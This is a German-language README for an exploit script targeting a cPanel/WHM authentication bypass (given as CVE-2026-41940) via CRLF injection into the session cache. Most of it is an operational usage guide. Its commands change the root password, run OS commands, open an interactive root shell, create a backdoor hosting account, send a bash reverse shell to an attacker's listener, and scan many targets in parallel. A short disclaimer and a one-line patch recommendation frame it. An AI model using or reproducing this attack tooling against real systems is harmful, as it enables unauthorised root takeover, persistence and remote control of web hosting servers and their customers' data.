
cPanel/WHM Authentifizierungsumgehung (Zero-Day-Schwachstelle)
Haftungsausschluss: Dieses Dokument und das zugehörige Skript (
exploit.py) dienen ausschließlich zu Bildungszwecken, der Sicherheitsforschung und autorisierten Penetrationstests. Verwenden Sie diese Software nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
exploit.py ist ein Skript, das eine Authentifizierungs-Bypass-Schwachstelle (CVE-2026-41940) in cPanel & WHM demonstriert. Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, über einen CRLF-Injektionsfehler eine Root-Sitzung in den Daemon-Cache einzuschleusen, was letztendlich Root-Zugriff auf WHM gewährt, ohne dass gültige Anmeldedaten erforderlich sind.
Der Exploit nutzt eine CRLF-Injektionsschwachstelle (Carriage Return Line Feed) im Basic-Authentifizierungsmechanismus, kombiniert mit einem Sitzungs-Propagationsfehler. Das Skript automatisiert den Angriff in vier Phasen:
/login/ oder /cgi/login.cgi), um ein Basis-Sitzungscookie ohne Authentifizierung (whostmgrsession) zu erlangen.cpsrvd-Sitzungs-Cache injiziert. Die Weiterleitungsantwort des Servers gibt das generierte Sicherheitstoken (cpsess) preis.do_token_denied ausgelöst wird, um die gefälschte Sitzung in den Daemon-Cache zu propagieren — wodurch sie zu einer gültigen authentifizierten Sitzung wird./json-api/version) zu, um den Root-Zugriff zu bestätigen.requests-Bibliothekpip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| Argument | Beschreibung |
|---|---|
--target URL | Einzelne WHM-URL (z. B. https://target:2087) |
--target-file FILE | Datei mit Zielen (eine ip:port pro Zeile) — aktiviert automatisch den Prüfmodus |
| Argument | Beschreibung |
|---|---|
--threads N | Parallele Threads für den Mehrfachziel-Modus (Standard: 10) |
--hostname HOST | Host-Header überschreiben — verwenden, wenn die automatische Erkennung fehlschlägt oder einen falschen Hostnamen liefert |
--timeout N | Timeout pro Anfrage in Sekunden (Standard: 15) |
--retries N | Anzahl der Wiederholungsversuche bei Netzwerkfehlern (Standard: 3) |
--cookie-name NAME | Einen bestimmten Sitzungscookie-Namen erzwingen (wird bei Weglassen automatisch erkannt) |
--no-verify | Schritt-4-Verifizierung überspringen und trotzdem fortfahren |
| Argument | Beschreibung |
|---|---|
--check | Nur-Prüfmodus — Schwachstelle ohne Ausnutzung verifizieren (wird mit --target-file automatisch gesetzt) |
--password PASS | Das Root-Passwort auf PASS ändern |
--api FUNC | Eine bestimmte WHM-JSON-API-Funktion aufrufen |
--api-params K=V,... | Kommagetrennte Parameter für --api |
--exec CMD | Einen Betriebssystembefehl über das WHM-Skript scripts/run_script ausführen (Fallback: rawexec) |
--session | Eine Root-Ein-Klick-Login-URL generieren — sofort öffnen, Token läuft schnell ab |
--shell | In eine interaktive WHM-Shell wechseln (nur bei Einzelzielen) |
--dump | Serverinformationen ausgeben: Version, Konten, DNS-Zonen, Berechtigungen |
--add-user USER PASS DOMAIN | Ein neues cPanel-Hosting-Konto erstellen |
--revshell LHOST LPORT | Eine Bash-Reverse-Shell an Ihren Listener senden |
| Argument | Beschreibung |
|---|---|
--output FILE | Sitzungstoken und Details in einer JSON-Datei speichern |
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
Bei Verwendung von --shell stehen die folgenden Befehle zur Verfügung:
| Befehl | Beschreibung |
|---|---|
api <function> [k=v ...] | Eine WHM-JSON-API-Funktion aufrufen (z. B. api version) |
exec <command> | Einen Betriebssystembefehl über WHM ausführen (z. B. exec id) |
passwd <newpass> | Das Root-Passwort ändern |
dump | Serverinformationen ausgeben |
revshell <lhost> <lport> | Eine Reverse-Shell senden |
add <user> <pass> <domain> | Ein cPanel-Konto erstellen |
save <path> | Die aktuelle Sitzung in einer Datei speichern |
exit / quit | Die Shell beenden |
Wenden Sie die neuesten cPanel/WHM-Sicherheitspatches sofort an.